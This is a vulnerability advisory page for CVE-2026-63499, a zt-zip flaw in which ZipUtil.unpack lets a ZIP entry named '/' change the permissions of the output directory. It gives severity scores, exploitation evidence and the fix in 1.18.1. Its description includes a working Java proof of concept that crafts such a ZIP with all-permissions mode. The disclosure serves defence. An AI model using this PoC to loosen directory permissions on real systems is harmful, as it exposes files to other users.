Skip to main content
VulnerabilityPublished

CVE-2026-63499: zt-zip · ZipUtil.unpack can change file permissions of output directory

Affects org.zeroturnaround:zt-zipSource GCVE Database

0
Compare
Authoritative record:CVE-2026-63499· Medium 6.9

Not known to be exploited · CVSS 6.9 Medium : upgrade to 1.18.1 when convenient.

Data as of 9 Nov 2026, 23:24 UTC

CVSS 4.0 base score
6.9Medium
How severe the flaw is on the 0–10 CVSS scale.

Thin evidence

One scorer or none
CVSS scores by source
CNA (GitHub_M)CVSS 4.06.9
EPSS
0.2% chance of exploitation in 30 days – higher than 20% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch
Available – fixed in 1.18.1
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 3 Nov 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponized: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 9 Nov 2026.

What to do

Upgrade org.zeroturnaround:zt-zip to 1.18.1.

Affected software

ProductAffectedFixed in
Mavenorg.zeroturnaround:zt-zipAffected
  • <1.18.1
Fixed in
  • 1.18.1

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary When using one of the `ZipUtil.unpack` overloads, the file permissions of the output directory can be changed. For example, when the output directory was only accessible to the 'owner' it could be instead made accessible to every OS user. ### Details When the name of a ZIP entry resolves to the output directory itself (e.g. the name `/`), the path traversal checks permit it and then perform actions on that directory, such as applying the file permissions of the ZIP entry to it. ### PoC This proof of concept requires an OS with support for POSIX file permissions. This issue itself is however not limited to those OS' with POSIX file permissions, see zt-zip's `ZTFilePermissionsUtil.fetchDefaultStrategy` which uses a fallback in that case. ```java // Uses Apache Commons Compress to create the malicious ZIP file // The issue itself is however in how zt-zip processes that ZIP file import org.apache.commons.compress.archivers.zip.AsiExtraField; import org.apache.commons.compress.archivers.zip.ZipArchiveEntry; import org.apache.commons.compress.archivers.zip.ZipArchiveOutputStream; import org.apache.commons.compress.archivers.zip.ZipExtraField; import org.zeroturnaround.zip.ZipUtil; import java.nio.file.Files; import java.nio.file.Path; import java.util.Set; public class ZtZipTest { public static void main(String[] args) throws Exception { Path zipPath = Path.of("permissions-change.zip"); Path outputDir = Path.of("permissions-change"); Files.deleteIfExists(outputDir); Files.createDirectory(outputDir); Files.setPosixFilePermissions(outputDir, Set.of()); // outputs "[]" System.out.println("Permissions before: " + Files.getPosixFilePermissions(outputDir)); createZip(zipPath); ZipUtil.unpack(zipPath.toFile(), outputDir.toFile()); // outputs "[..., OTHERS_EXECUTE, OTHERS_WRITE, OTHERS_READ, ...]" System.out.println("Permissions after: " + Files.getPosixFilePermissions(outputDir)); } public static void createZip(Path path) throws Exception { try (ZipArchiveOutputStream zipStream = new ZipArchiveOutputStream(path)) { var entry = new ZipArchiveEntry("/"); // Set 'allow all' permissions entry.setUnixMode(0b1_1111_1111); AsiExtraField extraField = new AsiExtraField(); // Set 'allow all' permissions extraField.setMode(0b1_1111_1111); entry.setExtraFields(new ZipExtraField[] { extraField }); zipStream.putArchiveEntry(entry); zipStream.closeArchiveEntry(); } } } ``` ### Impact Affected are users who use `ZipUtil.unpack` to unpack an untrusted ZIP file.

References

Community reviews

Loading reviews…